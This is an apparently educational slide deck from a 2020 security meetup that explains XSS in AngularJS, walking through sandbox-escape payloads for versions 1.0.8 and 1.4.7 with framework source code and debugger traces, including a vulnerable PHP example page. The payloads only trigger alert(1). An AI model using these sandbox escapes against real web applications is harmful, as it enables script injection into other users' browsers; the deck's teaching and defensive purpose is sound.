XSS in AngularJS

[0x7A] - ØxOPOSɆC Mɇɇtuᵽ February 20, 2020

About me

  • Application Security team @ Farfetch
  • ruigodinho469@gmail.com

Agenda

  • Angular JS framework recap;
  • XSS in 2 versions of AngularJS.
https://slides.com/bbsteps/xss-in-angular-js/live

Before starting

Some stats

AngularJS

What about it?

A                framework

  • Client-side;
  • Dynamic web apps;
  • Extends HTML syntax;

Main concepts

  • <Template></Template>
  • Directives
  • Controllers
  • Scope

<Template></Template>

  • Written in HTML;
  • With extra elements and attributes.
<div ng-app ng-init="qty=1;cost=2">
  <b>Invoice:</b>
  <div>
    Quantity: <input type="number" min="0" ng-model="qty">
  </div>
  <div>
    Costs: <input type="number" min="0" ng-model="cost">
  </div>
  <div>
    <b>Total:</b> {{qty * cost | currency}}
  </div>
</div>

Directives

  • Extends HTML with custom attributes.
<div ng-app ng-init="qty=1;cost=2">
  <b>Invoice:</b>
  <div>
    Quantity: <input type="number" min="0" ng-model="qty">
  </div>
  <div>
    Costs: <input type="number" min="0" ng-model="cost">
  </div>
  <div>
    <b>Total:</b> {{qty * cost | currency}}
  </div>
</div>

ng-app 

  • Automatically initializes the application
<div ng-app ng-init="qty=1;cost=2">
  <b>Invoice:</b>
  <div>
    Quantity: <input type="number" min="0" ng-model="qty">
  </div>
  <div>
    Costs: <input type="number" min="0" ng-model="cost">
  </div>
  <div>
    <b>Total:</b> {{qty * cost | currency}}
  </div>
</div>

ng-model 

  • Binds the "view" to the "model".
<div ng-app ng-init="qty=1;cost=2">
  <b>Invoice:</b>
  <div>
    Quantity: <input type="number" min="0" ng-model="qty">
  </div>
  <div>
    Costs: <input type="number" min="0" ng-model="cost">
  </div>
  <div>
    <b>Total:</b> {{qty * cost | currency}}
  </div>
</div>
<script>
	var app = angular.module('myApp', []);
	app.controller('myCtrl', function($scope) {
      		$scope.qty = 1;
      		$scope.cost = 2.5;
	});
</script>

View

Model

<script>  Controllers</script>

Main features

  • Can be attached to the DOM through the 
    ng-controller directive;
  • Defined by a JavaScript function;
  • Sets up the initial state of the $scope object.
<div ng-controller="myApp">
  {{ qty * cost }}
</div>
<script>
	var app = angular.module('myApp', []);
  
	app.controller('myCtrl', function($scope) {
      		$scope.qty = 1;
      		$scope.cost = 2.5;
	});
</script>

{{Double curly braces}}

  • {{expression | filter}} markup;
  • AngularJS replaces the markup with its value (aka the model);
  • The filter in the expression formats the value to be displayed to the user.
    
<div ng-app ng-init="qty=1;cost=2">
  <b>Invoice:</b>
  <div>
    Quantity: <input type="number" min="0" ng-model="qty">
  </div>
  <div>
    Costs: <input type="number" min="0" ng-model="cost">
  </div>
  <div>
    <b>Total:</b> {{qty * cost | currency}}
  </div>
</div>

$copes

The $scope object

  • Provides context;
  • Propagates model changes into the view.

The $eval() function

  • A scope property (i.e. scope.$eval()), already attached to it;
  • Similar to the normal Javascript eval function;
  • It does not evaluate arbitrary Javascript;
  • It evaluates AngularJS expressions;
  • scope.$eval(expression) <=> {{expression}}.

Version 1.0.8

A simple example

<html>
  <body>
    <form action="angular1.0.8.php">
      <input type="text" size="70" name="q" value="<?php echo htmlspecialchars($_GET['q'], ENT_QUOTES); ?>">
      <input type="submit" value="go">
    </form>
  </body>
</html>
<div ng-app>

<?php
	$q = $_GET['q'];
	echo htmlspecialchars($q, ENT_QUOTES);
?>

</div>
<div ng-app="" class="ng-scope">

&lt;script&gt;alert(1)&lt;/script&gt;

</div>

Are we safe from XSS ??

Probably NOT

  • AngularJS creates a bypass;
  • Escaping the input is not enough;
  • Our input is reflected into an HTML element that has AngularJS enabled.

What is wrong ??

  • AngularJS apps should not be mixed with server side templating;
  • User input should not be used to generate templates dynamically.

How can we exploit it?

What happens if we try {{alert(1)}} ??

It does not execute

EMPTY

Lets have a look ...

Breakpoint 1

  • We are inside a function called getterFn();
  • code is a variable holding a string with some JavaScript code.

Breakpoint 1

var l, fn, p;
if(s === null || s === undefined) return s;
l=s;
s=((k&&k.hasOwnProperty("alert"))?k:s)["alert"];
if (s && s.then) {
	if (!("$$v" in s)) {
 		p=s;
 		p.$$v = undefined;
 		p.then(function(v) {p.$$v=v;});
	}
	s=s.$$v
}
return s;
  • The code inside "code" checks if "alert" is a property of "k";

Checking for properties (recap)

  • "a" has the property 'b' but not property 'f';
  • You can access the properties value through dot notation or square brackets.

Breakpoint 1

  • Function('s', 'k', code) defines a new function, with 's' and 'k' as arguments for the 'code' body;
  • This is dynamically generated JavaScript code.
fn = Function('s', 'k', code); // s=scope, k=locals

Breakpoint 2

  • We are now inside a function called _functionCall(); 
function _functionCall(fn, contextGetter) {
    // parse the arguments
    var argsFn = [];
    if (peekToken().text != ')') {
      do {
        argsFn.push(expression());
      } while (expect(','));
    }
    consume(')');
  
    // create a function that calls a function
    return function(scope, locals){
      var args = [],
          ...

      for ( var i = 0; i < argsFn.length; i++) {
        args.push(argsFn[i](scope, locals));
      }
      
      debugger;
      // checking if function exists
      var fnPtr = fn(scope, locals, context) || noop;

      debugger;
      return fnPtr.apply
          ? fnPtr.apply(context, args)
          : fnPtr(args[0], args[1], args[2], args[3], args[4]);
    };
  }

Breakpoint 2

  • This function prepares arguments for a function call;
  • Our expression {{alert(1)}} attempts to call the function "alert()";
  • "_functionCall()" parses the parentheses of the expression and extracts the arguments (i.e. 1).
function _functionCall(fn, contextGetter) {
    // parse the arguments
    var argsFn = [];
    if (peekToken().text != ')') {
      do {
        argsFn.push(expression());
      } while (expect(','));
    }
    consume(')');
  
    // create a function that calls a function
    return function(scope, locals){
      var args = [],
          ...

      for ( var i = 0; i < argsFn.length; i++) {
        args.push(argsFn[i](scope, locals));
      }
      
      debugger;
      // checking if function exists
      var fnPtr = fn(scope, locals, context) || noop;

      debugger;
      return fnPtr.apply
          ? fnPtr.apply(context, args)
          : fnPtr(args[0], args[1], args[2], args[3], args[4]);
    };
  }

Breakpoint 2

  • The arguments are then placed in an array named "args".

Breakpoint 2

  • Below the breakpoint, there's a call to the function fn(scope, locals, context);
  • The "scope" argument represents the context of the application;
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;

Breakpoint 2

  • fn() is a function calling another function: getter();
  • getter() is the result of getterFn() - a function that tries to get the property "alert" of an object.
var getter = getterFn(ident, csp);

Breakpoint 2 - conclusion

  • fn() tries to get the property "alert" from the object "scope";
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;

Breakpoint 2 - conclusion

  • If "alert" was on the scope, fnPtr would contain a reference to the alert() function;
  • fnPtr will have the value of noop -> an empty function that does nothing.
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;

In other words

So what can we access?

How to break out of the Scope ?

The scope constructors (recap)

  • The scope object is just another Javascript object;
  • It automatically has the constructor property;
  • This property returns the Object() constructor;

The scope constructors (recap)

  • The constructor of the Object() constructor returns the Function() constructor (the highest constructor in JavaScript);

What about the constructor of the Function() constructor??

The End of The Line

What can we do with the Function() constructor??

  • We can create any arbitrary JavaScript function;
  • We can then call that function by adding a second pair of parentheses.

Does it work inside an AngularJS expression?

  • We successfully escaped from the AngularJS sandbox

Version 1.4.7

constructor.constructor("alert(1)")() doesn't work anymore

Why??

Because ...

  • The AngularJS internals were changed;
  • Referencing Function() constructor in the new version is now disallowed;
  • Restriction applied by a new function called ensureSafeObject().

ensureSafeObject()

function ensureSafeObject(obj, fullExpression) {
  debugger;
  // nifty check if obj is Function that is fast and works across iframes and other contexts
  if (obj) {
    if (obj.constructor === obj) {
      throw $parseMinErr('isecfn',
          'Referencing Function in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// isWindow(obj)
        obj.window === obj) {
      throw $parseMinErr('isecwindow',
          'Referencing the Window in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// isElement(obj)
        obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
      throw $parseMinErr('isecdom',
          'Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// block Object so that we can't get hold of dangerous Object.* methods
        obj === Object) {
      throw $parseMinErr('isecobj',
          'Referencing Object in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    }
  }
  return obj;
}

Are we doomed??

Lets try the following

{{'a'.constructor.prototype.charAt='a'.concat; $eval('exploit=1} } };alert(1)//');}}

WTF???

In Portuguese please

  • Lets divide the expression into two parts:
    • 'a'.constructor.prototype.charAt='a'.concat;
    • $eval('exploit=1} } };alert(1)//').

Part 

'a'.constructor.prototype.charAt='a'.concat

  • charAt() is a standard String function that returns the character at the index given as parameter;

  

 

  • But what about the 'a'.constructor.prototype part?
  • 'a'.constructor returns the String() constructor, common to every String object;
  • 'a'.constructor.prototype.charAt lets us reference the function charAt() (inherited by all string objects).

'a'.concat function

  • Another standard String function that concatenates strings.

Overriding charAt() with concat()

charAt() is dead ehehe

  • AngularJS uses charAt() internally. What will happen?

Lets dig in...

Breakpoint 1 - the lexer

lex: function(text) {
    this.text = text;
    this.index = 0;
    this.tokens = [];

    // Javascript Lexer. loop over string and extract tokens
    debugger;

    while (this.index < this.text.length) {
      ...
        }
      }
    }

Lexer (recap)

  • A lexer converts a sequence of characters into a sequence of tokens (the first step in a compiler);

Breakpoint 1 & 2- the lexer

  • The lexer is being called from "ast" (Abstract Syntax Tree) which is then called from "compile".
lex: function(text) {
    this.text = text;
    this.index = 0;
    this.tokens = [];

    // Javascript Lexer. loop over string and extract tokens
    debugger;

    while (this.index < this.text.length) {
      ...
        }
      }
    }
  • AngularJS implements a compiler that takes an AngularJS expression and compiles it to real JavaScript.

{{expression}}

Lexer

Parser

More Magic ...

Back to the lexer

  • This function has one parameter, called "text";
  • "text" contains the current AngularJS expression;
lex: function(text) {
    this.text = text;
    this.index = 0;
    this.tokens = [];

    // Javascript Lexer. loop over string and extract tokens
    debugger;

Tokens extraction - while loop

  • The while loop iterates over the full length of the text;
  • It uses text.charAt() to get the next character of the String;
  • In the end it returns an array of tokens.
while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  ...
}

debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;

Token[0]

  • The first token is the string 'a';
  • Because it's a fixed string, the Object has the "constant" property equal to "true".

Token[1]

  • The next token is the dot ('.') between the string and the constructor.

Token[2]

  • The third token is the constructor;
  • It is considered an identifier;
  • All variable names as well as function names are identifiers.

Token[7]

  • The eighth token is the equal ("=") which is an operator.

What happens next?

  • The lexical analysis for extracting the tokens was the start of the compilation process;
  • We will skip the next compilation steps and we will look now at the result of the whole compilation.

{{expression}}

Lexer

Parser

More Magic ...

Breakpoint 3 - fnString variable

  • It contains a string with the compiled JavaScript code.
"use strict";
var fn = function(s, l, a, i) {
    var v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = l && ('\u0024eval' in l),
        v10;
    v4 = 'a';
    if (v4 != null) {
        if (!(v4.constructor)) {
            v4.constructor = {};
        }
        v3 = ensureSafeObject(v4.constructor, text);
    } else {
        v3 = undefined;
    }
    if (v3 != null) {
        if (!(v3.prototype)) {
            v3.prototype = {};
        }
        v1 = v3.prototype;
    } else {
        v1 = undefined;
    }
    if (v1 != null) {
        v2 = v1.charAt;
    } else {
        v2 = undefined;
    }
    if (v1 != null) {
        v5 = 'a';
        if (v5 != null) {
            v0 = v5.concat;
        } else {
            v0 = undefined;
        }
        ensureSafeObject(v1.charAt, text);
        ensureSafeAssignContext(v1, text);
    }
    v1.charAt = v0;
    v8 = v9 ? l : s;
    if (!(v9)) {
        if (s) {
            v7 = s.$eval;
        }
    } else {
        v7 = l.$eval;
    }
    if (v7 != null) {
        ensureSafeFunction(v7, text);
        v10 = 'exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f';
        ensureSafeObject(v8, text);
        v6 = ensureSafeObject(v8.$eval(ensureSafeObject('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f', text)), text);
    } else {
        v6 = undefined;
    }
    return v6;
};
return fn;

Lets have a look

Variable 4 equals 'a'

  • This code starts like the Angular expression (with the string 'a');
  • Stores it in the variable 4.

Variable 4 constructor

  • Then it attempts to get the constructor from variable 4;

Variable 4 constructor safetyness

  • ensureSafeObject() checks if the constructor is the Function constructor, i.e. this.constructor === self;
  • Because it's a String constructor, it's considered safe.

Variable 3 constructor prototype

  • After that the constructor is moved into variable 3;
  • It then checks if it has the property "prototype".

Variable 1 stores prototype

  • If the constructor (stored in variable 3) contains the property "prototype", the reference to "prototype" is stored in variable 1.

Check for charAt() property

  • The charAt() property of the String "prototype" is stored in variable 2.

Right side of the assignment

  • String 'b' is moved into variable 5.

Variable 5 concat() property reference

  • The concat() property of variable 5 is stored in variable 0.

Variable 1 charAt() property safe check

  • Angular checks if the charAt() property of variable 1 is a safe object;
  • Because it is just a normal charAt() function, it is considered safe.

Variable 1 safe check

  • Variable 1 itself is checked because we are about to assign something to the String "prototype" in variable 1;
  • Angular wants to be sure that it is safe to assign something to that object.

The core of the problem

  • We assign the concat() function (in variable 0) to the charAt() function of the String "prototype" (stored in variable 1).

Part II

  • $eval('exploit=1} } };alert(1)//')

Variable 7 stores $eval

  • $eval, from the "scope" (s) is stored in variable 7.

Validation of $eval and its argument

  • The $eval() function is validated for safety insurance;
  • The expression that gets inside $eval() is also checked;
  • Safety is guaranteed and $eval() will be called which initiates another parsing, compilation and execution of the second expression.

Back to the Breakpoint 3

  • "fnString"
    contains the compiled JavaScript code; 
  • It is passed to the Function() constructor;
  • This will create an actual function (stored in "fn");
  • In the end "fn" is returned.
debugger;

var fn = (new Function('$filter',
        'ensureSafeMemberName',
        'ensureSafeObject',
        'ensureSafeFunction',
        'getStringValue',
        'ensureSafeAssignContext',
        'ifDefined',
        'plus',
        'text',
        fnString))(
          this.$filter,
          ensureSafeMemberName,
          ensureSafeObject,
          ensureSafeFunction,
          getStringValue,
          ensureSafeAssignContext,
          ifDefined,
          plusFn,
          expression);

...
return fn;

Breakpoint 4

Inside ensureSafeObject()

  • In the Call Stack we can see that we are coming from fn(), an already compiled function;
function ensureSafeObject(obj, fullExpression) {
  debugger;
  
  if (obj) {
    ...
  }
 }

The looks of fn()

  • It looks familiar;
  • It is "fnString" but in a function form (instead of just a string);
var fn = function(s, l, a, i) {
        var v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = l && ('\u0024eval'in l), v10;
        v4 = 'a';
        if (v4 != null) {
            if (!(v4.constructor)) {
                v4.constructor = {};
            }
            v3 = ensureSafeObject(v4.constructor, text);
        } else {
            v3 = undefined;
        }
        if (v3 != null) {
            if (!(v3.prototype)) {
                v3.prototype = {};
              
              ...
            }
              ...
         }
              ...
}

Breakpoint 5

Again in ensureSafeObject()

  • This time further down in the code of the fn() function;
  • Actually right before we assign and overwrite charAt().
if (v1 != null) {
            v5 = 'a';
            if (v5 != null) {
                v0 = v5.concat;
            } else {
                v0 = undefined;
            }
            ensureSafeObject(v1.charAt, text);
            ensureSafeAssignContext(v1, text);

Breakpoint 6

Inside ensureSafeAssignContext()

  • The last check before the assignment and the overwriting of charAt().
	ensureSafeObject(v1.charAt, text);
	ensureSafeAssignContext(v1, text);
  }
  v1.charAt = v0;

A few steps more ...

Inside of the Lexer again

  • Why are we here again?
  • We are coming from fn();
  • And fn() called $eval();
lex: function(text) {
    this.text = text;
    this.index = 0;
    this.tokens = [];

    // Javascript Lexer. loop over string and extract tokens
    debugger;
v6 = ensureSafeObject(v8.$eval(ensureSafeObject('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f', text)), text);
  • $eval() is called which initiates another parsing, compilation and execution of the expression inside.

{{expression}}

Lexer

Parser

More Magic ...

Here we go again

As expected

  • the "text" in lex is simply what we have passed to $eval();

The cycle repeats itself

  • We are about to enter again into the while loop that extracts single tokens from this new character sequence.
while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  ...
}

debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;

Inside the while loop

  • The index starts again at 0;
  • AngularJS tries to get the first character from "text" using charAt().
while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  ...
}

debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;

charAt() is not charAt() anymore

  • charAt(0) appends now '0' to the string instead of returning a single character;
  • "ch" is super long and not a start of a String;
while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  if (ch === '"' || ch === "'") {
        this.readString(ch);
  ...
}

debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;

NaN ??

  • It's obviously not a number.
while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  ...
  else if (this.isNumber(ch) || ch === '.' && this.isNumber(this.peek())) {
  ...
}

debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;

isIdent() validation

  • isIdent() thinks that "ch" is now an identifier;
  • Only variables and functions names are identifiers;
  • Identifiers usually
    do not contain special characters, such as: "=", "{", "}" ...
while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  ...
  else if (this.isIdent(ch)) {
        this.readIdent();
  ...
}

debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;

The end of the loop

  • If we continue now to the end of the loop and look at the tokens, we can see that there's only one token;
  • An identifier with our whole string.

The end of compilation

  • The next breakpoint hits the end of compilation;
  • There we can have a look at the resulting JavaScript code.
"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.exploit = 1
        }
    }
};
alert(1) //;}}else{v5=l.exploit=1} } };alert(1)//;}return v5;};fn.assign=function(s,v,l){var v0,v1,v2,v3,v4=l&&('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f' in l);v3=v4?l:s;if(!(v4)){if(s){v2=s.exploit=1} } };alert(1)//;}}else{v2=l.exploit=1} } };alert(1)//;}if(v3!=null){v1=v;ensureSafeObject(v3.exploit=1} } };alert(1)//,text);ensureSafeAssignContext(v3,text);v0=v3.exploit=1} } };alert(1)//=v1;}return v0;};return fn;

The second part reveals itself

  • The second part of the exploit is now on the JavaScript code;
  • It's embedded as a scope property since all expressions are evaluated against the scope object;
  • Because AngularJS thought that we had an identifier on our expression, it placed that identifier in the compiled code when checking if the scope object has such a property;
  • This blows up because the identifier has non-valid characters.
			v5 = s.exploit = 1
        }
    }
};
debugger;
alert(1) //;

The last breakpoint

  • The last breakpoint is set inside the compiled code, right before the alert() function;
  • When we hit continue, an alert pops out.
			v5 = s.exploit = 1
        }
    }
};
debugger;
alert(1) //;

Conclusion

  • We overrode the charAt() function that is shared by string objects;
  • This will break how Angular evaluates expressions;
  • Allowing us to inject bad characters as an identifier in the compiled code;
  • Which will then break out of the sandbox and execute arbitrary JavaScript code.

Additional payloads

Based on the following documentation:

?? Questions ??

Made with Slides.com